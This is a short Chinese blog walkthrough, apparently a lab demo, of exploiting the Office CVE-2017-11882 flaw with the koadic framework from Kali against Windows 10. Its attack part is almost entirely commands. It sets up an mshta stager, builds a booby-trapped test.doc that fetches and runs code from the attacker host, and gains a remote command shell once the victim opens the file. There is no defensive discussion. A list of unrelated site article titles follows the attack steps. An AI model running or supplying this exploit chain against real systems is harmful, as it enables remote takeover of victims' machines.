实验环境：win10+kali

工具：koadic，Command43b_CVE-2017-11882.py

KALI:

root@kali:/opt/koadic-master# ./koadic

(koadic: stager/js/mshta)# set lhost 10.73.28.148

(koadic: stager/js/mshta)# set lport 55555

(koadic: stager/js/mshta)# run

python C:\Users\esafenet\Desktop\Command43b_CVE-2017-11882.py -c "mshta http://10.73.28.148:55555/Vr745" -o test.doc

win10上打开test.doc

(koadic: stager/js/mshta)# zombies 0

(koadic: stager/js/mshta)# cmdshell 0

最新文章

1. sql server存储过程中SELECT 与 SET 对变量赋值的区别
2. HTML5的Server-Sent Events介绍////////////////zzz
3. C++学习笔记32:泛型编程拓展1
4. SVN常用问题汇总
5. iOS常用手势识别器
6. 根据屏幕的宽度使用不同的css-文件
7. MySQL慢日志监控脚本实例剖析
8. iOS之UI--指示器HUD的创建和设置
9. linux rsync +inotify 实现 实时同步
10. 多线程GCD
11. 定时生成bat命令
12. 启用IIS7报错功能
13. 第三十九节，python内置全局变量
14. RocketMQ 介绍与基本使用
15. 高德地图测两点距离android比较精确的
16. UE4 unreliable 同步问题
17. SAP MM '独立/集中'等于1的MTS物料MRP运行后合并需求触发PR
18. MySQL_写锁_lock tables tableName write
19. Go基础系列：map类型
20. 解题：NOI2018 你的名字(68pts暴力)

热门文章

1. github如何上传代码
2. 【未整理】web.xml加载顺序.RP
3. bootstrap图片切换效果
4. 团队项目第六周-Alpha阶段项目复审（深海划水队）
5. HTML5+CSS3从入门到精通 中文pdf版​
6. 我用Django搭网站(1)-新浪微博登录
7. .net core webapi 文件上传在 Swagger 文档中的有好提示处理
8. 数据库索引与b+树
9. 平台播放声音（ext.js）
10. mvc+EF - 有用文章